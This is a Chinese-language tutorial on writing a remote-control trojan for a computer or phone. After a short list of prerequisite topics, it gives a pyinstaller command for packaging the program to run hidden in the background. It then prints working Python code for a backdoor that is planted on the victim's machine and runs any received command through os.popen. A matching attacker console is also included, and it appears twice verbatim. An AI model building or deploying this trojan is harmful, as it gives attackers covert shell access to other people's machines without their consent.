实战自编一个电脑或手机的控制木马

涉及知识或技术

操作系统
  • win/linux/unix/android……
  • 命令、服务,特型
网络协议
  • OSI七层网络
  • TCP/IP协议族群
    • 应用层
    • 传输层 TCP/UDP
    • 网络层
    • 链路层
实用程序语言
  • python
  • go
  • ruby
  • html,js
    • 环境简单
    • 弱规则
    • 第三方强大的标准库
    • 以及自定义的库或模块
打包工具

pyinstaller -F xxx.py (-w) -w表示后台运行

被攻击端

# encoding: utf-8
# server:放在被攻击机-木马
# gui-dos-cmd
import os
from socket import *

# 创建连接 tcp
#
qq = socket(AF_INET,SOCK_STREAM)

# 绑定主机IP
address = ("",12345)
qq.bind(address)

qq.listen(5)

while True:
    pass
    newsct,clientsct = qq.accept()
    while True:
        cmd = newsct.recv(4096)
        # 判断cmd有没有内容
        if len(cmd)>0:
            print("console:"+cmd.decode("utf-8"))
            # 以下可以做控制操作
            res = os.popen(cmd.decode("utf8"),'r')
            newsct.send(res.read().encode('utf8'))
            res.close()
        else:
            break
    newsct.close()

攻击端:

# encoding: utf-8
# client
# 控制端

from socket import *

tcpsocket = socket(AF_INET,SOCK_STREAM)

serAddress = ('192.168.157.4',12345)

tcpsocket.connect(serAddress)

while True:
    sendcmd = input("msf>>")
    if len(sendcmd)>0:
        tcpsocket.send(sendcmd.encode('utf-8'))
    else:
        break

    # 接收执行后的结果
    recv = tcpsocket.recv(4096)
    print(recv.decode('utf8'))

# close
tcpsocket.close()
# encoding: utf-8
# client
# 控制端

from socket import *

tcpsocket = socket(AF_INET,SOCK_STREAM)

serAddress = ('192.168.157.4',12345)

tcpsocket.connect(serAddress)

while True:
    sendcmd = input("msf>>")
    if len(sendcmd)>0:
        tcpsocket.send(sendcmd.encode('utf-8'))
    else:
        break

    # 接收执行后的结果
    recv = tcpsocket.recv(4096)
    print(recv.decode('utf8'))

# close
tcpsocket.close()